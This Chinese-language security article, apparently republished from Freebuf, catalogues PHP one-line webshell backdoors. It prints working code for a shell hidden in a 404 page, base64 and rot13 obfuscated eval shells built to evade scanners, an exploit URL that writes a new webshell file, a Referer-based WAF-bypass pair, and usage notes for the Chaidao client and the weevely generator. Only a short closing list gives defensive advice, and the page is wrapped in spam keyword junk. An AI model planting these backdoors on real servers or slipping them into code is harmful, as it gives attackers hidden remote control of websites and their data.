成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

那些強悍的PHP一句話后門

安全 黑客攻防
強悍的PHP一句話后門,這類后門讓網(wǎng)站、服務(wù)器管理員很是頭疼,經(jīng)常要換著方法進(jìn)行各種檢測,而很多新出現(xiàn)的編寫技術(shù),用普通的檢測方法是沒法發(fā)現(xiàn)并處理的。今天我們細(xì)數(shù)一些有意思的PHP一句話木馬。

我們以一個學(xué)習(xí)的心態(tài)來對待這些PHP后門程序,很多PHP后門代碼讓我們看到程序員們是多么的用心良苦。

強悍的PHP一句話后門

這類后門讓網(wǎng)站、服務(wù)器管理員很是頭疼,經(jīng)常要換著方法進(jìn)行各種檢測,而很多新出現(xiàn)的編寫技術(shù),用普通的檢測方法是沒法發(fā)現(xiàn)并處理的。今天我們細(xì)數(shù)一些有意思的PHP一句話木馬。

利用404頁面隱藏PHP小馬:

  1. <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> 
  2. <html><head> 
  3. <title>404 Not Found</title> 
  4. </head><body> 
  5. <h1>Not Found</h1> 
  6. <p>The requested URL was not found on this server.</p> 
  7. </body></html> 
  8. <?php 
  9. @preg_replace("/[pageerror]/e",$_POST['error'],"saft");  
  10. header('HTTP/1.1 404 Not Found');  
  11. ?> 

404頁面是網(wǎng)站常用的文件,一般建議好后很少有人會去對它進(jìn)行檢查修改,這時我們可以利用這一點進(jìn)行隱藏后門。

無特征隱藏PHP一句話:

  1. <?php 
  2. session_start();  
  3. $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);  
  4. $_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a'); 

將$_POST['code']的內(nèi)容賦值給$_SESSION['theCode'],然后執(zhí)行$_SESSION['theCode'],亮點是沒有特征碼。用掃描工具來檢查代碼的話,是不會報警的,達(dá)到目的了。

超級隱蔽的PHP后門:

  1. <?php $_GET[a]($_GET[b]);?> 

僅用GET函數(shù)就構(gòu)成了木馬;

利用方法:

  1. ?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29}; 

執(zhí)行后當(dāng)前目錄生成c.php一句話木馬,當(dāng)傳參a為eval時會報錯木馬生成失敗,為assert時同樣報錯,但會生成木馬,真可謂不可小視,簡簡單單的一句話,被延伸到這般應(yīng)用。

層級請求,編碼運行PHP后門:

此方法用兩個文件實現(xiàn),文件1

  1. <?php 
  2. //1.php  
  3. header('Content-type:text/html;charset=utf-8');  
  4. parse_str($_SERVER['HTTP_REFERER'], $a);  
  5. if(reset($a) == '10' && count($a) == 9) {  
  6.    eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));  

文件2

 

  1. <?php 
  2. //2.php  
  3. header('Content-type:text/html;charset=utf-8');  
  4. //要執(zhí)行的代碼  
  5. $code = <<<CODE 
  6. phpinfo();  
  7. CODE;  
  8. //進(jìn)行base64編碼  
  9. $code = base64_encode($code);  
  10. //構(gòu)造referer字符串  
  11. $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";  
  12. //后門url  
  13. $url = 'http://localhost/test1/1.php';  
  14. $ch = curl_init();  
  15. $options = array(  
  16.     CURLOPT_URL => $url,  
  17.     CURLOPT_HEADER => FALSE,  
  18.     CURLOPT_RETURNTRANSFER => TRUE,  
  19.     CURLOPT_REFERER => $referer  
  20. );  
  21. curl_setopt_array($ch, $options);  
  22. echo curl_exec($ch); 

通過HTTP請求中的HTTP_REFERER來運行經(jīng)過base64編碼的代碼,來達(dá)到后門的效果,一般waf對referer這些檢測要松一點,或者沒有檢測。用這個思路bypass waf不錯。#p#

PHP后門生成工具weevely

weevely是一款針對PHP的webshell的自由軟件,可用于模擬一個類似于telnet的連接shell,weevely通常用于web程序的漏洞利用,隱藏后門或者使用類似telnet的方式來代替web 頁面式的管理,weevely生成的服務(wù)器端php代碼是經(jīng)過了base64編碼的,所以可以騙過主流的殺毒軟件和IDS,上傳服務(wù)器端代碼后通常可以通過weevely直接運行。

weevely所生成的PHP后門所使用的方法是現(xiàn)在比較主流的base64加密結(jié)合字符串變形技術(shù),后門中所使用的函數(shù)均是常用的字符串處理函數(shù),被作為檢查規(guī)則的eval,system等函數(shù)都不會直接出現(xiàn)在代碼中,從而可以致使后門文件繞過后門查找工具的檢查。使用暗組的Web后門查殺工具進(jìn)行掃描,結(jié)果顯示該文件無任何威脅。

以上是大概介紹下邊是截圖,相關(guān)使用方法亦家就不在這介紹了,簡單的科普一下。

那些強悍的PHP一句話后門

#p#

三個變形的一句話PHP木馬

第一個

  1. <?php ($_=@$_GET[2]).@$_($_POST[1])?> 

在菜單里寫http://site/1.php?2=assert密碼是1

第二個

  1. <?php 
  2. $_="";  
  3. $_[+""]='';  
  4. $_="$_"."";  
  5. $_=($_[+""]|"").($_[+""]|"").($_[+""]^"");  
  6. ?> 
  7. <?php ${'_'.$_}['_'](${'_'.$_}['__']);?> 

在菜刀里寫http://site/2.php?_=assert&__=eval($_POST['pass']) 密碼是pass。如果你用菜刀的附加數(shù)據(jù)的話更隱蔽,或者用其它注射工具也可以,因為是post提交的。

第三個

  1. ($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add'); 

str_rot13(‘riny’)即編碼后的eval,完全避開了關(guān)鍵字,又不失效果,讓人吐血!

最后列幾個高級的PHP一句話木馬后門:

  1. 1、  
  2. $hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";  
  3. $hh("/[discuz]/e",$_POST['h'],"Access");  
  4. //菜刀一句話  
  5. 2、  
  6. $filename=$_GET['xbid'];  
  7. include ($filename);  
  8. //危險的include函數(shù),直接編譯任何文件為php格式運行  
  9. 3、  
  10. $reg="c"."o"."p"."y";  
  11. $reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);  
  12. //重命名任何文件  
  13. 4、  
  14. $gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";  
  15. $gzid("/[discuz]/e",$_POST['h'],"Access");  
  16. //菜刀一句話  
  17. 5、include ($uid);  
  18. //危險的include函數(shù),直接編譯任何文件為php格式運行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif  
  19. //gif插一句話  
  20. 6、典型一句話  
  21. 程序后門代碼  
  22. <?php eval_r($_POST[sb])?> 
  23. 程序代碼  
  24. <?php @eval_r($_POST[sb])?> 
  25. //容錯代碼  
  26. 程序代碼  
  27. <?php assert($_POST[sb]);?> 
  28. //使用lanker一句話客戶端的專家模式執(zhí)行相關(guān)的php語句  
  29. 程序代碼  
  30. <?$_POST['sa']($_POST['sb']);?> 
  31. 程序代碼  
  32. <?$_POST['sa']($_POST['sb'],$_POST['sc'])?> 
  33. 程序代碼  
  34. <?php 
  35. @preg_replace("/[email]/e",$_POST['h'],"error");  
  36. ?> 
  37. //使用這個后,使用菜刀一句話客戶端在配置連接的時候在"配置"一欄輸入  
  38. 程序代碼  
  39. <O>h=@eval_r($_POST1);</O> 
  40. 程序代碼  
  41. <script language="php">@eval_r($_POST[sb])</script> 
  42. //繞過<?限制的一句話 

綜上,這些PHP一句話后門可謂五臟俱全,一不小心您肯定中招了,而我們今天這篇文章的重中之重在哪呢?重點就在下邊的總結(jié)!

如何應(yīng)對PHP一句話后門:

我們強調(diào)幾個關(guān)鍵點,看這文章的你相信不是門外漢,我也就不啰嗦了:

1,對PHP程序編寫要有安全意識
2,服務(wù)器日志文件要經(jīng)???,經(jīng)常備份
3,對每個站點進(jìn)行嚴(yán)格的權(quán)限分配
4,對動態(tài)文件及目錄經(jīng)常批量安全審查
5,學(xué)會如何進(jìn)行手工殺毒《即行為判斷查殺》
6,時刻關(guān)注,或滲入活躍的網(wǎng)絡(luò)安全營地
7,對服務(wù)器環(huán)境層級化處理,哪怕一個函數(shù)也可做規(guī)則

我們認(rèn)為當(dāng)管理的站點多了,數(shù)據(jù)量大時,我們應(yīng)合理應(yīng)用一些輔助工具,但不應(yīng)完全依賴這些工具,技術(shù)是時刻在更新進(jìn)步的,最為重要的是你應(yīng)學(xué)會和理解,編寫這些強悍后門的人所處思維,角色上的換位可為你帶來更大的進(jìn)步。

 

責(zé)任編輯:藍(lán)雨淚 來源: Freebuf
相關(guān)推薦

2023-09-05 23:34:52

Kubernetes云原生

2015-08-03 10:21:04

設(shè)計模式表達(dá)

2020-11-27 09:57:11

Python代碼PyPy

2010-03-29 11:55:12

無線上網(wǎng)報錯

2023-05-08 15:44:23

3D數(shù)字人

2011-06-03 16:42:47

SEO

2023-09-06 15:23:30

Docker容器K8S

2018-01-15 10:45:43

社交網(wǎng)絡(luò)互聯(lián)網(wǎng)巨頭百度

2014-05-07 10:47:51

移動金融互聯(lián)網(wǎng)金融GMIC

2020-12-16 10:43:44

PythonPyPy代碼

2019-08-15 11:42:56

程序員電腦軟件

2014-12-16 08:58:17

甲骨文Oracle數(shù)據(jù)庫選件

2023-12-13 21:50:59

騰訊AI模型

2025-05-12 01:22:00

2023-08-25 17:10:14

LLM人工智能

2024-04-01 13:03:00

AI模型

2019-03-27 09:31:36

互聯(lián)網(wǎng)面試技術(shù)

2022-12-12 13:45:46

模型修圖

2024-02-08 09:33:37

蘋果AI

2011-11-01 07:23:59

喬布斯悼文
點贊
收藏

51CTO技術(shù)棧公眾號

主站蜘蛛池模板: 中文字幕丁香5月 | 国产免费一区二区 | 日韩av免费在线观看 | 天天影视网天天综合色在线播放 | 九九色九九 | 91久久精品日日躁夜夜躁欧美 | 国产人成精品一区二区三 | 久久一 | 91麻豆精品国产91久久久久久 | 国产精品视频一二三区 | 国产精品久久久久久福利一牛影视 | 国产精品污污视频 | 亚洲瑟瑟 | 一级片片 | 亚洲一区二区三区在线 | 午夜av电影 | 免费国产视频在线观看 | 欧美视频三区 | 日韩一区二区在线观看 | 欧美午夜精品 | 一区二区三区日韩 | 国产午夜精品一区二区 | 久久国产精品一区二区三区 | 成人h电影在线观看 | 91影院在线观看 | 亚洲精品黄色 | 精品二区| 99这里只有精品视频 | 亚洲欧洲成人av每日更新 | 国产情侣在线看 | 老司机67194精品线观看 | 精品免费 | 日韩精品一区二区三区中文在线 | 日本韩国电影免费观看 | 九九九视频精品 | 久久的色 | 精品久久久久香蕉网 | 女人一区| 精品国产乱码久久久久久图片 | 成人精品国产一区二区4080 | 中文字幕不卡 |